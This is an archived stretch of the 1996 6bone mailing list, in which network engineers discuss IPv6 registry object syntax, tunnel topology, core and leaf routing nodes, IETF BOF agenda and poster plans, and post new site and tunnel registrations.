Vohra, Quaizar	3 XL, 1 L, 1 M	ietf
Weise, Bernd	5 XL, 5 XXL	ietf
Wessendorf, Guido	2 XL, 1 L	ietf
Winchcombe, Charlie	5 XXL	mail
Yamamoto, Kazuhiko	1 L	ietf
Yoshida, Shin	1 L	ietf
Zhang, Lixia	1 M	ietf
-end



From majordom@ISI.EDU  Thu Nov 21 00:22:38 1996
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Date: Thu, 21 Nov 1996 08:22:38 -0800
In-Reply-To: davidk@ISI.EDU
        "RIPE object proposal" (Nov 19, 11:43am)
References: <9611191943.AA10337@brind.isi.edu>
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To: davidk@ISI.EDU, 6bone@ISI.EDU
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Just a few comments David. The proposal looks good and thank you David & Geert
Jan for all your effort on this!



> On Nov 19, 11:43am, davidk@ISI.EDU wrote:
> ...
>
> - loc-string: <LocatianString>
>
>   LocationString contains the coordinates of the IPv6 sites location.
>   Multiple location strings can be proovided on different lines for sites
>   that have multiple locations in the area.
>
>   Syntax:
>
>   Somebody can give me a pointer for the RFC standard

RFC1712 specifies the "GPOS" RR for DNS.  (excerpt below)

>   loc-string:     33 40 10n 117 49 20w 10m

Proposed syntax:

loc-string: <LONGITUDE> <LATITUDE> <ALTITUDE>

(from RFC1712)

   LONGITUDE The real number describing the longitude encoded as a
             printable string. The precision is limited by 256 charcters
             within the range -90..90 degrees. Positive numbers
             indicate locations north of the equator.

   LATITUDE The real number describing the latitude encoded as a
            printable string. The precision is limited by 256 charcters
            within the range -180..180 degrees. Positive numbers
            indicate locations east of the prime meridian.

   ALTITUDE The real number describing the altitude (in meters) from
            mean sea-level encoded as a printable string. The precision
            is limited by 256 charcters. Positive numbers indicate
            locations above mean sea-level.

It also would be helpful to require some sort of "Location:" string describing
the above lat-long... Since many people don't know their lat-long, they could
alternatively provide the location.

> - application: <service> <hostname> [port]
>
>  This attribute describes the different services available on the site.
>  The services are the same as described in the '/etc/services' plus the ping
>  application. More services might be added later on.
>
>  Hostname is the DNS hostname of the host that provides the service and
>  a port number may be specified for services that don't run on the
>  standard port.

Is it assumed that this is for IPv6 applications? Would a version/protocol
field here be useful?

> - tunnel:  <Protocol1> in <Protocol2> <src> -> <dst> [FreeText]
>
>   This attribute defines a tunnel of Protocol1 in Protocol2 from address
>   src to address dst. You only need to define your side of the tunnel.
>   The other end should be present in the object of the other party's site
>   object. Note that tunnels should in general be configured symmetrically
>   along both end-points.

Currently a lot of people are appending an "ipv6-site" tag after the <dst>.
This makes sense to me as a sanity check on where the tunnel is supposed to
point. Especially with a lot of tunnels being "phased in" or out and changed,
the IP address may end up being transient while the IPv6-Site tag would be
somewhat more permanent.

We discussed this earlier and you pointed out that the database can look up the
IP address, however with some of these tunnels moving around, the IP addresses
for all records don't get change when the tunnel endpoint changes, so we have
some records pointed to the old and some to the new. Would you be able to
automatically move all references to the old IP to the new?

>   Note for discussion:
>
>   It is may be better to use DNS domain names here instead of the raw IP
>   addresses.

If DNS is broken it may be hard to resolve hostname to addresses... I'd rather
just do the reverse lookup (at my own risk) if I need the hostname. OTOH, we do
use DNS for a reason and using host names may cure some of the problems I
mention in the paragraph above. My vote would be for hostnames with the caveat
that everyone would have to have DNS configured to tunnel (for the IPv4
endpoints at least).

>
>-- End of excerpt from davidk@ISI.EDU



-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Thu Nov 21 03:12:26 1996
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Date: Thu, 21 Nov 1996 11:12:26 -0800
From: "Shin Yoshida" <yoshida@sumitomo.com>
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To: 6bone@isi.edu
Subject: Re: 6bone map change and COLORFUL ADDITIONS :-)
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> I've colorized the nodes, and made a first attempt at identifying transit
> nodes to eventually help in routing, planning, redoing the map, etc.

I'm just curious about how nodes are identified as transit or leaf.

Some "leaf" nodes have up to five tunnels and other "leaf" nodes have
tunnels to real leaf nodes. Some "transit" nodes have as less as three 
tunnels and have no tunnels to real leaf nodes.

Shin

From majordom@ISI.EDU  Thu Nov 21 09:33:23 1996
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Date: Thu, 21 Nov 1996 17:33:23 -0800
To: yoshida@sumitomo.com
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone map change and COLORFUL ADDITIONS :-)
Cc: 6bone@isi.edu
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At 11:12 AM -0800 11/21/96, Shin Yoshida wrote:
>> I've colorized the nodes, and made a first attempt at identifying transit
>> nodes to eventually help in routing, planning, redoing the map, etc.
>
>I'm just curious about how nodes are identified as transit or leaf.
>
>Some "leaf" nodes have up to five tunnels and other "leaf" nodes have
>tunnels to real leaf nodes. Some "transit" nodes have as less as three
>tunnels and have no tunnels to real leaf nodes.

It was just a guess on my part based on past events - nothing special about
the designation.

It is really an effort to open the discussion of just how we SHOULD
structure our 6bone efforts...


Thanks,

Bob



From majordom@ISI.EDU  Thu Nov 21 23:23:54 1996
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Date: Fri, 22 Nov 1996 07:23:54 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new 6bone map
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6bone drawing version 38:

	new site ORNL/US with tunnel to ESNET/US


Welcome to Oak Ridge National Lab!


Thanks,

Bob



From majordom@ISI.EDU  Fri Nov 22 03:33:19 1996
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Date: Fri, 22 Nov 1996 09:33:19 -0600
From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: 6bone map change and COLORFUL ADDITIONS :-)
In-Reply-To: "21 Nov 1996 17:33:23 PST." <"v03007820aeba8e78bd56"@[128.3.9.22]>
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X-Face: 
 /RKQi"kntyd}7l)d8n%'Dum<~(aMW3,5g&'NiH5I4Jj|wT:j;Qa$!@A<~/*C:{:MmAQ:o%S /KKi}G4_.||4I[9!{%3]Hd"a*E{<k&QF?d6L7o&zLqb%kXn!!]ykXMKtTiy9#20]$EKP/^Z$T]'P6,
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The map makes it clear that if we were to run RIP now, or any
non-policy-based routing protocol, most sites would be carrying
transit traffic.  Perhaps we should put it on our agenda to clean up
and simplify the connectivity to more closely model the sort of
network we intend to build.
					Matt

From majordom@ISI.EDU  Fri Nov 22 06:33:33 1996
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Date: Fri, 22 Nov 1996 11:33:33 -0500
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From: "Webwurx - Ray King" <ray@webwurx.com>
Subject: Well done!
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Hi,

We are the graphics designers who won the T-shirt logo contest. We work for
a leading web-design company in Toronto, Canada called Webwurx Multimedia.
I would like to congratulate Bob on the tremendous work effort he has put
forth organizing this whole T-shirt thing the day to day accuracy and
updating on the 6bone website and mailing list.  You are doing a tremendous
job. 

And good luck to all the IPv6 and 6bone members in all future developments.
I have been following the mailing list for a couple months now and find what
you are doing very fascinating - very cool.  Keep up the good work.

Sincerely,

Ray King
Webwurx Inc.
http://www.webwurx.com


From majordom@ISI.EDU  Fri Nov 22 01:59:12 1996
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Date: Fri, 22 Nov 1996 09:59:12 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: setting a 6bone BOF agenda for San Jose
Sender: owner-6bone@ISI.EDU
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6bone folk:

I'd like to get some consensus on an agenda for the 6bone BOF in San Jose.

Below are Alain Durand's suggestions.

Please send all ideas/suggestions to the mailer (not to me) so we can all
see and discuss what is worth covering in San Jose.


Thanks,

Bob

============================================
From: "Alain Durand" <Alain.Durand@imag.fr>
Date: Thu, 7 Nov 1996 14:59:07 +0100
To: Bob Fink LBNL <RLFink@lbl.gov>
Subject: agenda of the 6-bone BOF

Hi bob,

I have a list of topics I would like to discuss during the 6-bone bof.
I'm not sure if we'll have time to discuss each one as there might be some
more important issues and our timeframe is limited.
Some of those topics have already been discussed by mail without reaching
a real consensus, I hope the large bandwith provided by the IETF meeting
will help us to solve some issues. If it works it will be a good point
for the the creation of a WG.

- RIPE registry
  * database clean up
  * new syntax & new entries (some important infos are missing)
        - experimental tunnels
        - IPv6 endpoints
        - speed/reliability of tunnels
        - sub-tunnels (tunnels to a subset of a site)
        - existence of a routing protocol
        - site carrying full routing table
  * database sanity check

- 6-bone topology
  * comments on the current topology
  * how to add new tunnels ?
  * should we go to a full mesh of core routers?

- map of the 6-bone
   * usefullness of various maps
   * full maps, sub-maps...

- dynamic routing
   * is it needed at the scale of the 6-bone?
   * is RIPng suitable?
   * experiences with other routing protocols?

- Addresses
   * limitations of RFC1897
   * could we try something else?
   * what about "real" IPv6 addresses ?



	- Alain.

---



From majordom@ISI.EDU  Fri Nov 22 17:51:46 1996
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From: Jonathan Day <jcday@jpd.ch.man.ac.uk>
Message-Id: <199611221751.RAA06734@jpd.ch.man.ac.uk>
Subject: Re: 6bone map change and COLORFUL ADDITIONS :-)
To: 6bone@isi.edu
Date: Fri, 22 Nov 1996 17:51:46 +0000 (GMT)
In-Reply-To: <199611221533.JAA06474@gungnir.fnal.gov> from "Matt Crawford" at Nov 22, 96 09:33:19 am
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> The map makes it clear that if we were to run RIP now, or any
> non-policy-based routing protocol, most sites would be carrying
> transit traffic.  Perhaps we should put it on our agenda to clean up
> and simplify the connectivity to more closely model the sort of
> network we intend to build.

Hmmmm. Is it a good idea to tidy up, at this stage? If people start
using IPv6 (as opposed to developing) on a large scale, whilst the
layout is still messy, you know that everything will still work
(albeit better) when the connections are tidied. It's not always so
predictable, if you start simple and increase the complexity.

(I've heard that the loss of the transatlantic link between the UK
and the US for 2, maybe 2.5 weeks, last year, was due in part to
the network at either end becoming too complex.)

I'd have thought that the 6bone, as it stands, is ideally suited to
testing under unusual conditions, which, of course, are the sort of
situations you most need reliability and good performance.

Jonathan
 

From majordom@ISI.EDU  Fri Nov 22 01:59:04 1996
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 <"v03007820aeba8e78bd56"@[128.3.9.22]>
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To: Matt Crawford <crawdad@fnal.gov>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone map change and COLORFUL ADDITIONS :-)
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At 7:33 AM -0800 11/22/96, Matt Crawford wrote:
>The map makes it clear that if we were to run RIP now, or any
>non-policy-based routing protocol, most sites would be carrying
>transit traffic.  Perhaps we should put it on our agenda to clean up
>and simplify the connectivity to more closely model the sort of
>network we intend to build.

Totally agree.  I want to circulate some agenda ideas/suggestions soon for
San Jose (actually ones that Alain Durand sent to me) so we can have some
better idea of what we should do there.


Thanks,

Bob



From majordom@ISI.EDU  Fri Nov 22 23:20:15 1996
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From: "Alain Durand" <Alain.Durand@imag.fr>
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Date: Fri, 22 Nov 1996 22:20:15 +0100
In-Reply-To: Bob Fink LBNL <RLFink@lbl.gov>
        "new 6bone map" (Nov 22,  7:23am)
References: <v03007803aebb759c11a4@[128.3.9.22]>
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At the last G6 meeting, we talked about some evolutions about the routing
issues in the 6-bone. We came up with some propositions.  I'd like to discuss
them here.

Few points first:
-----------------
- we'd like to ease routing
- statics routes are going to be used for quite a long time
  (we do not believe in RIPng at the scale of the growing 6-bone)
- we should automaticaly derived them from a routing registry
- some sites are willing to work hard to achive a good routing,
  some others jsut need a 6-bone access.
- tunnel informations is of little use to compute routes. Tunnels
  are somehow point to point link, i.e. layer 2. Current informations
  in the ripe database about tunnels are only relevant to set up
  tunnels. We need layer 3  informations, i.e. reachable prefixes,
  not links, to build routes.

Our proposal:
-------------
we'd like to define 2 kinds of 6-bone nodes:
	- core nodes
	- leaf nodes

Core node:
----------
  - has a router that knows most (if not all) 6-bone routes
  - should not have a default route (not quite sure about that)
  - is willing to provide 6-bone access to any other node
  - cooperate with other core nodes

Leaf node:
----------
  - any other node with a default route to a core node

Note: Core nodes might be fully inter-connected with tunnels. This is not
mandatory, but might prove usefull. not sure, to be discussed


RIPE database:
--------------
To compute all the 6-bone routes, we only need the following
informations for each core node:
  - IPv6 address of the tunneling router
  - Prefixes directly reachable from this node

  NB1: the IPv6 address is only used to build the string of routers
  NB2: somehow, this is the same kind of informations that a dynamic
       routing algorithm carries.


Interesting points of this proposal:
------------------------------------
  - easy to implement
  - simplify the computation of the routes
  - sites might use several prefixes.
  - sites might set up experimental tunnels with other sites and only route
    selected prefixes through this tunnel. The rest of the traffic will be
    routed through the regular routes.
  - only core nodes willing to cooperated should add few new entries in
    the ripe database.
  - only few core nodes are needed. Currently I use less than 10 different
    routers in my routing table.
  - nodes might become core at any time: they just need to add the extra
    informations about the prefixes they can reach.

What I call core nodes are somehow what we see as transit nodes on the map...


	- Alain.

From majordom@ISI.EDU  Fri Nov 22 10:33:50 1996
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Date: Fri, 22 Nov 1996 15:33:50 -0500
From: dhaskin@baynetworks.com (Dimitry Haskin)
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Falks,

I've noticed that some 6bone routers use link-local source addresses
when sending ICMP Time Exceeded messages to global scope addresses.
Since such messages don't travel far, such routers don't show up
in trace route records.

Dimitry

From majordom@ISI.EDU  Fri Nov 22 05:00:05 1996
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Date: Fri, 22 Nov 1996 13:00:05 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone info display posters at the San Jose IETF
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6bone folk,

Some have mentioned that it might be a good idea to have 6bone information
on display at the IETF in San Jose.

To this end, I propose to make up two 30 X 40 inch foam core poster boards
with 6bone info, and see if we can get the approval from the IETF meeting
arrangers to put them out in the open lobby areas for all attendees to see.

My proposed content for these is below under the headings Poster 1 and 2.

I would like to get input on what is to be on them, and consensus that it
is a good idea to do it.

Comments, corrections, additions and deletions happily accepted, but please
send then to the mailer for all to see.


Thanks,

Bob
================================================================================
Poster 1

6bone logo w/6bone url under it

6bone stick and ball diagram

Text as follows:

The 6bone is an independent outgrowth of the IETF IPng project that
resulted in the creation of the IPv6 protocols intended to eventually
replace the current Internet network layer protocol known as IPv4. The
6bone is currently an informal collaborative project spanning the entire
world - currently 17 countries and over 80 sites are participating.

One essential part in the IPv4 to IPv6 transition is the development of an
Internet-wide IPv6 backbone infrastructure that can transport IPv6 packets.
As with the existing IPv4 Internet backbone, the IPv6 backbone
infrastructure will be composed of many Internet Service Providers (ISPs)
and user networks linked together to provide the world-wide Internet.

The 6bone is a virtual network layered on top of portions of the physical
IPv4-based Internet to support routing of IPv6 packets, as that function
has not yet been integrated into many production routers. The network is
composed of islands that can directly support IPv6 packets, linked by
virtual point-to-point links called "tunnels". The tunnel endpoints are
typically workstation-class machines having operating system support for
IPv6.

================================================================================
Poster 2

6bone logo w/6bone url under it

Text blocks as follow:


6bone routing registry (bold heading)

A 6bone routing registry is maintained at the RIPE-NCC project in Holland:

ftp://ftp.ripe.net/ipv6/ip6rr/

This registry provides a way to register the tunnels used in the 6bone,
and allows for automatic services such as:

VRML mapping (e.g., http://www.ipv6.nas.nasa.gov/viz/)
and route tracing (e.g., http://www.ipv6.imag.fr/route.html )



6bone statistics (bold heading)

6bone statistics are available to indicate the status and quality of 6bone
routes and tunnels as needed.  Currently three places provide this
information:  JOIN/DE, NIST/US and TU-BS/DE

http://www.join.uni-muenster.de/local/v6ping/v6answer.html
http://snad.ncsl.nist.gov/~ipng/NIST-6bone-status.html
http://www.cs.tu-bs.de/~strauss/ipng/stats.html



IPv6 information (bold heading)

IPv6 information resulting from the IETF's IPng project is available at:

http://playground.sun.com/pub/ipng/html/ipng-main.html

This includes IPng Overview writeups, IPv6 specifications, information on
IPv6 implementations and relevant IETF IPng working group information



IPv6 implementations (bold heading)

IPv6 router and host implementations are now available for production or
testing from many commercial and academic sources, including implemetations
for both routers and host systems.

Router implementations available include:

Bay, Cisco, Digital and Telebit

Router implementations under development include Ipsilon and Penril.

Host implementations available include:

4.4 BSD Lite, AIX, BSD/OS,
Digital Unix, HP/UX, MacOS, NetBSD, Solaris

Host implementations under development include Linux, Novell, Pacific
Softworks, Siemens Nixdorf BS2000, Streams, Windows.
================================================================================

- end



From majordom@ISI.EDU  Fri Nov 22 12:49:38 1996
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To: "Alain Durand" <Alain.Durand@imag.fr>
Cc: 6bone@ISI.EDU (6BONE Mailer), g6@imag.fr
Subject: Re: evolution of the 6-bone 
In-Reply-To: Your message of "Fri, 22 Nov 96 22:20:15 +0100."
             <961122222015.ZM22584@rama.imag.fr> 
Date: Fri, 22 Nov 96 17:49:38 -0500
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I agree with your definitions and the core nodes.

Seems like the core nodes you define are the transit nodes on the map
today.   So Bob has it right.

thanks
/jim

From majordom@ISI.EDU  Fri Nov 22 07:05:20 1996
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From: davidk@isi.edu
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Subject: Re: RIPE object proposal
To: ahoag@nas.nasa.gov (Andrew J. Hoag)
Date: Fri, 22 Nov 1996 15:05:20 -0800 (PST)
Cc: 6bone@isi.edu
In-Reply-To: <9611210822.ZM25552@rennsport.nas.nasa.gov> from "Andrew J. Hoag" at Nov 21, 96 08:22:38 am
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Hi Andrew,

> Andrew J. Hoag writes :
> 
> Just a few comments David. The proposal looks good and thank you David & Geert
> Jan for all your effort on this!

Thanks!

> > On Nov 19, 11:43am, davidk@ISI.EDU wrote:
> > ...
> >
> > - loc-string: <LocatianString>
> >
> >   LocationString contains the coordinates of the IPv6 sites location.
> >   Multiple location strings can be proovided on different lines for sites
> >   that have multiple locations in the area.
> >
> >   Syntax:
> >
> >   Somebody can give me a pointer for the RFC standard
> 
> RFC1712 specifies the "GPOS" RR for DNS.  (excerpt below)
> 
> >   loc-string:     33 40 10n 117 49 20w 10m
> 
> Proposed syntax:
> 
> loc-string: <LONGITUDE> <LATITUDE> <ALTITUDE>
> 
> (from RFC1712)
> 
>    LONGITUDE The real number describing the longitude encoded as a
>              printable string. The precision is limited by 256 charcters
>              within the range -90..90 degrees. Positive numbers
>              indicate locations north of the equator.
> 
>    LATITUDE The real number describing the latitude encoded as a
>             printable string. The precision is limited by 256 charcters
>             within the range -180..180 degrees. Positive numbers
>             indicate locations east of the prime meridian.
> 
>    ALTITUDE The real number describing the altitude (in meters) from
>             mean sea-level encoded as a printable string. The precision
>             is limited by 256 charcters. Positive numbers indicate
>             locations above mean sea-level.

I will take this up in my proposal.

> It also would be helpful to require some sort of "Location:" string describing
> the above lat-long... Since many people don't know their lat-long, they could
> alternatively provide the location.

This is a good one. I would say that we could also add the (optional)
'country:' attribute (will not help much in the US/Russia though ...). 

We could also change the syntax of loc-string to:

RFC1712|[Free text describing location]

Software should be smart enough to make the distinction ;-).

Or give the advise to describe your location in the 'descr:' field since
this 'location description' will not be computer readable anyway.

I am just not very sure if we should add another 'free text' attribute.

> > - application: <service> <hostname> [port]
> >
> >  This attribute describes the different services available on the site.
> >  The services are the same as described in the '/etc/services' plus the ping
> >  application. More services might be added later on.
> >
> >  Hostname is the DNS hostname of the host that provides the service and
> >  a port number may be specified for services that don't run on the
> >  standard port.
> 
> Is it assumed that this is for IPv6 applications? Would a version/protocol
> field here be useful?

Yes. I didn't add it since the whole object is IPv6 specific but if you
think that it is useful ...

> > - tunnel:  <Protocol1> in <Protocol2> <src> -> <dst> [FreeText]
> >
> >   This attribute defines a tunnel of Protocol1 in Protocol2 from address
> >   src to address dst. You only need to define your side of the tunnel.
> >   The other end should be present in the object of the other party's site
> >   object. Note that tunnels should in general be configured symmetrically
> >   along both end-points.
> 
> Currently a lot of people are appending an "ipv6-site" tag after the <dst>.
> This makes sense to me as a sanity check on where the tunnel is supposed to
> point. Especially with a lot of tunnels being "phased in" or out and changed,
> the IP address may end up being transient while the IPv6-Site tag would be
> somewhat more permanent.
> 
> We discussed this earlier and you pointed out that the database can look up the
> IP address, however with some of these tunnels moving around, the IP addresses
> for all records don't get change when the tunnel endpoint changes, so we have
> some records pointed to the old and some to the new. Would you be able to
> automatically move all references to the old IP to the new?

This would be difficult since it would mean touching other people's
objects.

My idea was to do this referencing dynamically at lookup time. However,
it might be better to start with user supplied site information in the
object since this part of the implementation is a kind of trikey and
would delay deployment.

> >   Note for discussion:
> >
> >   It is may be better to use DNS domain names here instead of the raw IP
> >   addresses.
> 
> If DNS is broken it may be hard to resolve hostname to addresses... I'd rather
> just do the reverse lookup (at my own risk) if I need the hostname. OTOH, we do
> use DNS for a reason and using host names may cure some of the problems I
> mention in the paragraph above. My vote would be for hostnames with the caveat
> that everyone would have to have DNS configured to tunnel (for the IPv4
> endpoints at least).

Agreed.

David K.
---

From majordom@ISI.EDU  Fri Nov 22 08:15:26 1996
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Date: Fri, 22 Nov 1996 16:15:26 -0800
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        "Re: RIPE object proposal" (Nov 22,  3:05pm)
References: <9611222305.AA17196@brind.isi.edu>
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> On Nov 22,  3:05pm, davidk@ISI.EDU wrote:
> > Andrew J. Hoag writes :
...
> > It also would be helpful to require some sort of "Location:" string
describing
> > the above lat-long... Since many people don't know their lat-long, they
could
> > alternatively provide the location.
>
> This is a good one. I would say that we could also add the (optional)
> 'country:' attribute (will not help much in the US/Russia though ...).

I can understand trying to limit free text attributes. I think as much
"standardization" that we can achieve as possible would be helpful. Somebody
feel free to chime in here, but what about specifying the Internet country-code
for the location, as well as a one-line string describing the specific
population center. (i.e. city, township, ...etc.) Sounds like it might be
helpful for most countries if there is a State / Province code somewhere
involved as well.

> > Is it assumed that this is for IPv6 applications? Would a version/protocol
> > field here be useful?
>
> Yes. I didn't add it since the whole object is IPv6 specific but if you
> think that it is useful ...

That's probably a good place to save information. I was looking at a more
generic use rather than an IPv6 specific one.

> > We discussed this earlier and you pointed out that the database can look up
the
> > IP address, however with some of these tunnels moving around, the IP
addresses
> > for all records don't get change when the tunnel endpoint changes, so we
have
> > some records pointed to the old and some to the new. Would you be able to
> > automatically move all references to the old IP to the new?
>
> This would be difficult since it would mean touching other people's
> objects.
>
> My idea was to do this referencing dynamically at lookup time. However,
> it might be better to start with user supplied site information in the
> object since this part of the implementation is a kind of trikey and
> would delay deployment.
>
> > >   Note for discussion:
> > >
> > >   It is may be better to use DNS domain names here instead of the raw IP
> > >   addresses.
> >
> > If DNS is broken it may be hard to resolve hostname to addresses... I'd
rather
> > just do the reverse lookup (at my own risk) if I need the hostname. OTOH,
we do
> > use DNS for a reason and using host names may cure some of the problems I
> > mention in the paragraph above. My vote would be for hostnames with the
caveat
> > that everyone would have to have DNS configured to tunnel (for the IPv4
> > endpoints at least).
>
> Agreed.

So should hostnames be the norm? That should clear up our problem with moving
tunnels noted above.


I cross-referenced Alain's comments re: "evolution of the 6-bone"
(http://www.ipv6.nas.nasa.gov/6bone/0506.html) and it looks like most of the
issues are taken care of. Alain discusses the desire to have the prefix
information (prefix: field) and the IPv6 address of the tunnelling router,
which could be a AAAA lookup on the hostname above.


-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Fri Nov 22 16:51:20 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: setting a 6bone BOF agenda for San Jose 
In-Reply-To: Your message of "Fri, 22 Nov 96 09:59:12 PST."
             <v03007807aebb998c85b6@[128.3.9.22]> 
Date: Fri, 22 Nov 96 21:51:20 -0500
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if we can do alains suggestion that woudl be very successful on our
part. looks good to me.

/jim

From majordom@ISI.EDU  Mon Nov 25 09:17:29 1996
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From: Jonathan Day <jcday@jpd.ch.man.ac.uk>
Message-Id: <199611250917.JAA02857@jpd.ch.man.ac.uk>
Subject: Videoconferencing
To: 6bone@isi.edu
Date: Mon, 25 Nov 1996 09:17:29 +0000 (GMT)
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Hi

One of the oft-made claims for IPv6 is that it's good when used for
videoconferencing. Is there any videoconferencing software written
to use it, as yet, though?

Jonathan


From majordom@ISI.EDU  Mon Nov 25 14:33:07 1996
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          25 Nov 96 14:52 GMT
From: Ashley Baumann <ashleyb@sco.com>
To: 6bone@isi.edu
Subject: UK: Looking for a tunnel
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Date: Mon, 25 Nov 1996 14:33:07 +0000 (GMT)
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Hi,

I'm looking for a v6 tunnel somewhere in the uk (we are BTnet
customers located in watford).  any/all offers gleefully received.

Thanks
Ashleyb

-------------------------
Ashley Baumann                        TEL: +44 (0)1923 813519
SCO, Croxley Business Park,           FAX: +44 (0)1923 813804
Hatters Lane, Watford                 EMAIL: ashleyb@sco.com
WD1 8YN, UK

From majordom@ISI.EDU  Mon Nov 25 08:46:57 1996
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From: Bernd Weise <berndw@deteberkom.de>
Subject: DeTeBerkom off for few days
To: 6bone@ISI.EDU (6bone-Group)
Date: Mon, 25 Nov 96 17:44:08 MEZ
Cc: weise@deteberkom.de, rlfink@buster.lbl.gov (Bob Fink (6bone))
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Dear 6bone folks,

due to a movement to a new location and new buildings, our site has to 
be diconnected for a few days.  I'll do my best to reconnect the equipment
as soon as possible.

Please regard our new address from December 1st.

     Bernd 


i===========================================================================i
i      Bernd Weise, DeTeBerkom GmbH, Voltastrasse 5, D-13355 Berlin         i
i        Tel. +49 - 30 - 46701-143,     Fax. +49 - 30 - 46701-445           i
i                                                                           i
i      NEW ADDRESS from 1. December 1996:                                   i
i        DeTeBerkom GmbH, Goslarer Ufer 35,10589 Berlin                     i 
i        Tel: +49 - 30 - 3497-3112,   Fax: -3113                            i
i                                                                           i
i      Internet: weise@deteberkom.de                                        i
i===========================================================================i


From majordom@ISI.EDU  Mon Nov 25 04:38:54 1996
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From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: evolution of the 6-bone
In-Reply-To: "22 Nov 1996 22:20:15 +0100." <"961122222015.ZM22584"@rama.imag.fr>
To: Alain Durand <Alain.Durand@imag.fr>
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Alain,

I can't quite accept your definition of Core Node, and I don't like
the name Leaf Node as you use it.  Specifically, I don't think a core
node should be required to provide a tunnel to everyone who asks.
Rather, the set of all Core Nodes should be defined so that at least
one will provide a tunnel to anyone who asks, and possibly the
connecting site occasionally will be required to re-home when the
Core reorganizes.

A Node which is not a Core Node may be an IPv6 provider to many other
sites.  I think the term "Leaf" isn't appropriate in this case.

Also, you may want to require that any two Core Nodes are connected
by an IPv6 path which includes only Core Nodes.

From majordom@ISI.EDU  Mon Nov 25 10:03:57 1996
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Date: Mon, 25 Nov 1996 15:03:57 -0500
From: dhaskin@baynetworks.com (Dimitry Haskin)
Message-Id: <199611252003.PAA21691@pobox.BayNetworks.com>
To: RLFink@lbl.gov
Subject: new tunnel
Cc: 6bone@ISI.EDU
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Hi,

I've registred a new 6bone site and a 6bone tunnel with RIPE:

BAY-FRANCE:

site:		Bay Networks/France
location:	Valbonne, France, USA
prefix:		5F02:3000:C020:AE00:FBDC::/80
ping:		5F02:3000:C020:AE00:FBDC::0001
ping:		5F02:3000:C020:AE00:FBDC::0002
tunnel:		141.251.220.2 192.32.29.62 BAY, USA, RIPng
contact:	Wenken Ling <wling@baynetworks.com>
contact:	Dimitry Haskin <dhaskin@baynetworks.com>
status:		operational since November 25, 1996
remark:		platform: BLN 
remark:		will add new tunnels upon request 
remark:		carries all 6-bone routes 
remark:		please report any problems to contacts above 
changed:	dhaskin@baynetworks.com 961125
source:		RIPE



Ping info:

qadams[1]>ping -ip6 5F02:3000:C020:AE00:FBDC::0001 -v -r5
16 bytes from (5F02:3000:C020:AE00:FBDC::0001) via If 13: icmp_seq=0, time= 289 ms
16 bytes from (5F02:3000:C020:AE00:FBDC::0001) via If 13: icmp_seq=1, time= 316 ms
16 bytes from (5F02:3000:C020:AE00:FBDC::0001) via If 13: icmp_seq=2, time= 308 ms
16 bytes from (5F02:3000:C020:AE00:FBDC::0001) via If 13: icmp_seq=3, time= 300 ms
16 bytes from (5F02:3000:C020:AE00:FBDC::0001) via If 13: icmp_seq=4, time= 296 ms


---- IPV6 PING Statistics----
IPV6 ping: [5F02:3000:C020:AE00:FBDC::0001] responded to 5 out of 5: 100% success.
round-trip (ms) min/avg/max = 289/301/316

Dimitry

From majordom@ISI.EDU  Wed Nov 27 05:45:54 1996
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From: Mike Dransfield <Dransfield@mail.dec.com>
To: "'6bone@isi.edu'" <6bone@isi.edu>
Subject: new temporary tunnel at Interop Sydney
Date: Tue, 26 Nov 1996 18:45:54 +1100
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We have setup a new temporary connection to Network/Interop in Sydney

mike

site:		Networld/Interop Sydney
location:	Sydney, Australia
loc-string:	33 53 s 151 10 e 10m
prefix:		5F04:C500:2D00:0::/64
ping:		alpha.ipv6.au.interop.net (5F04:C500:2D00::800:2B3C:AFB8)
tunnel:		45.16.8.114 204.123.2.236 DIGITAL-CA
contact:	mike@stl.dec.com
status:		operational temporarily
remark:		Digital UNIX IPv6/DECswitch 900EF
remark:		temporary connection at Sydney interop
remark:		rip tunnel to DIGITAL-CA
remark:		static tunnel to DIGITAL-AU
changed:	mike@stl.dec.com 19961126
source:		RIPE


From majordom@ISI.EDU  Tue Nov 26 15:02:02 1996
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Date: Tue, 26 Nov 1996 14:02:02 +0100
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From: Sergio Esposito <esposito@ercole.cefriel.it>
Subject: new tunnel
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Hi,

I've registered a new tunnel with RIPE:

CEFRIEL

site:		CEFRIEL
location:	Milano, ITALY
loc-string:	45 37 00n 9 17 00e
prefix:		5f00:8900::/32
ping:		5f00:8900:83af:0500:cd:800:2074:7010
tunnel:		131.175.5.37	130.192.14.189 POLITO
contact:	esposito@mailer.cefriel.it
status:		operational since 11/96
remark:		using ipv6 for Solaris 5.0
changed:	esposito@mailer.cefriel.it 961118
source:		RIPE


						Sergio Esposito
============================================================================
Organization	: CEFRIEL
Address		: Via Emanueli, 15 - 20126 MILANO (Italy)
Phone		: +39-2-66161.211 / +39-2-66161.1
FAX		: +39-2-66161.448
Interests	: IPv6, IPSec, VPN
e-mail		: esposito@mailer.cefriel.it
www		: 
============


From majordom@ISI.EDU  Tue Nov 26 06:24:42 1996
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Date: Tue, 26 Nov 1996 14:24:42 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change
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6bone drawing version 39:

	new site LIU/SE tunnelled to SICS/SE

